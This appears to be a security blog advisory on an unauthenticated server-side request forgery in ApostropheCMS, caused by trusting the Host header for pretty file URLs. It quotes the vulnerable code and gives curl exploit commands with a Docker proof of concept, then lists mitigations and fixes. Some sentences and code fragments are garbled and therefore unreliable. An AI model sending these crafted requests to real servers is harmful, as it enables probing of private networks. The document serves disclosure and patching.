Listen to this Post
How CVE-2026-53607 Works
ApostropheCMS is an open-source Node.js content management system. In versions up to and including 4.30.0, when `prettyUrls: true` is enabled on the `@apostrophecms/file` module—a documented SEO feature for serving uploaded files at clean URLs—the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header. The code constructs the proxy URL as: proxyUrl =${req.protocol}://${req.get(‘host’)}${uglyUrl}“.
This URL is then fetched and the response body plus headers are streamed directly back to the requester. Because the `Host` header is fully attacker-controlled, an unauthenticated remote attacker can pivot the Apostrophe process to issue outbound HTTP requests against any host it can reach on the private network.
The vulnerable code resides in `modules/@apostrophecms/file/index.js` where the public GET route is registered when prettyUrls: true. After validating the slug from the URL, the system retrieves the file from the database and generates an uglyUrl. If this URL starts with a slash, it is prefixed with `req.protocol` and req.get('host')—the unsanitized Host header from the incoming request. The `stream-proxy.js` module then executes `fetch(url)` on this attacker-controlled URL and pipes the response back to the client.
Express does not validate or restrict the Host header, and Apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream’s body and content-type are forwarded verbatim, meaning any response the targeted host returns at the constrained path will reach the attacker.
The path component is constrained to `/uploads/attachments//latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure (/metadata/...).
What remains are blind-SSRF residuals: network-topology mapping via response-code or timing differences, and banner/version disclosure from verbose reverse-proxy or WAF 404 bodies. The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation. No fixed release exists as of publication.
DailyCVE Form:
Platform: ApostropheCMS
Version: <=4.30.0
Vulnerability: Unauthenticated SSRF
Severity: Low (3.7)
date: 2026-06-12
Prediction: Patch 2026-08-15
What Undercode Say
Analytics:
The vulnerability stems from improper handling of HTTP request headers during the pretty-URL resolution process. The Host header is used to construct an internal fetch URL without validation, creating a server-side proxy that can be redirected to internal services. This behavior aligns with CWE-918 (Server-Side Request Forgery).
The CVSS v3.1 score is 3.7 (Low) with vector: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N. AC:H is assigned because meaningful information disclosure requires a specific target shape (verbose WAF/proxy 404, banner disclosure, or exploitable response-code/timing side channels). C:L captures the residual information-disclosure surface.
Bash Commands & Code:
Vulnerable code snippet from `modules/@apostrophecms/file/index.js`:
-
</dt> <dt>const proxyUrl = uglyUrl.startsWith('/')</dt> <dt>? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink</dt> <dd>uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
`lib/stream-proxy.js` fetch call:
let response;
try { response = await fetch(url); } // <-- attacker-steered fetch
catch (e) { return send502(e); }
Detection command to check if `prettyUrls` is enabled:
grep -r "prettyUrls: true" ./modules/@apostrophecms/file/index.js
Test for SSRF vulnerability:
curl -sS -H 'Host: internal-service' "http://target.com/files/known-slug.pdf"
Exploit
Prerequisites:
– `prettyUrls: true` enabled on `@apostrophecms/file`
– `uploadfs` is local (default; S3/CDN deployments are not affected)
– At least one file uploaded with a known slug (publicly enumerable)
Attack Scenario (Docker PoC):
Three services on an isolated network: MongoDB, an internal service (returning a fake secret), and Apostrophe on port 3000 (the only port reachable from the host).
Exploit script (`exploit.sh`):
Confirm internal target is not reachable from the host curl --max-time 2 -s http://internal/ || echo "(unreachable)" Attack: pretty URL with attacker-supplied Host header curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
Observed Output:
- Normal request (Host: apos): HTTP 502, upstream media error
- Attacker request (Host: internal): HTTP 200, returns internal service response body
The internal service is unreachable from the host, but Apostrophe fetches it on the attacker’s behalf and pipes the response body straight back.
Protection
Immediate Mitigations (Network Level):
- Implement firewall rules restricting outbound HTTP traffic from application servers, particularly to internal network segments
- Deploy network segmentation to limit the potential impact of successful exploitation
- Enhance security monitoring to detect unusual outbound HTTP requests originating from CMS servers
Code-Level Fixes:
- In
modules/@apostrophecms/file/index.js: Use a server-trusted absolute base URL instead ofreq.get('host'):const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl; - In
lib/stream-proxy.js: Enforce a strict origin allowlist (configured Apostrophe base URL + any configured CDN host) before callingfetch. - Regression Test: Set `Host: 169.254.169.254` (or any non-configured host) on `/files/
. ` and assert the upstream fetch is not issued / the response is a 4xx.
Configuration Workaround:
- Disable `prettyUrls` for file modules when possible
- Validate and sanitize all user-controlled input, especially HTTP headers
Impact
Authenticated Status: Unauthenticated remote attacker
Attack Vector: Network (AV:N)
Confidentiality Impact: Low (C:L) – residual information disclosure
What Is NOT Exploitable:
- Cloud metadata endpoints (AWS IMDS, GCP, Azure) – paths don’t overlap with `/uploads/attachments/`
– Cross-instance data exfiltration – neutralized by cuid uniqueness - Redis admin, Elasticsearch, and most internal API surfaces
What Remains Exploitable:
- Network-topology mapping via response-code or timing differences across internal hosts
- Banner/version disclosure from verbose reverse-proxy or WAF 404 bodies
- Bypassing network egress controls – outbound requests originate from the Apostrophe server rather than the attacker
CVSS Score: 3.7 (Low)
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

